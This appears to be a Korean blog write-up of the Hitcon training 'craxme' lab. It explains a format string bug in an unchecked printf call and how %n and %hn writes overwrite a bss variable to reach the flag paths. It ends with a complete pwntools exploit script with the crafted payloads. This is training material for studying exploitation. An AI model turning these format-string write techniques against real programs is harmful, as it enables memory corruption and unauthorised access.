728x90
1. 문제
1) mitigation 확인
카나리와 NX가 걸려있다
2) 문제 확인
바이너리를 실행시켜보면 자기를 크랙미하라고 한다. 매직을 입력받는다.
3) 코드흐름 파악
buf 변수에 입력을 받는다. 그리고 출력을 해주는데, 서식문자가 없기때문에 여기서 fsb가 터질 것이다. 그리고 magic값이 218인지, 0xfaceb00c인지 비교한다. 둘다 아니면 puts를 호출한다. 여기서 알아야 할 것은 magic 변수는 bss 영역에 있기 때문에 정상적으로는 건들수 없다
2. 접근방법
fsb가 가능하다는 것을 알았으니, bss영역에 존재하는 magic 변수에 값을 쓰면 될 것이다. 코드를 보면 flag, craxflag 두개가 있는데, 뭐가 실제 플래그였는지는 모르니 둘다 해보자
3. 풀이
printf(&buf)가 호출된 직후이다. 현재 buf는 0xffffcd6c이기 때문에 입력한 값이 0xffffcd5c가 가리키고 있는 곳에 들어간다. 따라서 처음에 magic이 담긴 bss 주소를 넣고, %7$n으로 bss 영역에 값을 쓸 수 있다.
- /home/craxme/flag 파일 여는 시나리오
- magic 값을 218로 덮으면 끝이다
- bss주소입력 + "%(218 - 4)c%7$n"
- 요렇게 입력하면 끝이다
magic에 0xda = 218이 잘 들어갔다
- /hom/craxme/craxflag 파일 여는 시나리오
- craxflag를 열라면 0xfaceb00c 을 넣어줘야하는데, 이는 한번에 못넣는다. 따라서 $hn으로 2바이트 씩 쪼개서 넣어주면 된다
- bss 주소 + bss +2 주소 + %(magic 하위2바이트 -4)c%7$hn +
%(magic 상위2바이트-0xb00c)c%8$hn
- 이렇게 입력하면 끝이다
magic에 0xfaceb00c이 잘 들어갔다
최종 익스코드는 다음과 같다
from pwn import *
context.log_level="DEBUG"
p=process("./craxme")
gdb.attach(p,'code\nb *0x5c1+$code\n')
#1.cat /home/craxme/flag
payload=p32(0x804A038)
payload+="%214c%7$n"
magic=0xFACEB00C
magic_low=magic&0xffff
magic_high=(magic>>16)&0xffff
magic_low=magic_low-8
log.info(hex(magic_low))
log.info(hex(magic_high))
#2. cat /home/craxme/craxflag
payload2=p32(0x804a038)
payload2+=p32(0x804a03a)
payload2+="%"+str(magic_low)+"c%7$hn"
payload2+="%"+str(magic_high-0xb00c)+"c%8$hn"
p.recvuntil("magic :")
#p.sendline(payload)
p.sendline(payload2)
p.interactive()
4. 몰랐던 개념
- none
728x90
'워게임 > Hitcon training' 카테고리의 다른 글
[Hicon training] LAB 10 (0) | 2020.04.16 |
---|---|
[Hicon training] LAB 9 (0) | 2020.04.16 |
[Hicon training] LAB 7 (0) | 2020.04.15 |
[Hicon training] LAB 6 (0) | 2020.04.14 |
[Hicon training] LAB 5 (0) | 2020.04.14 |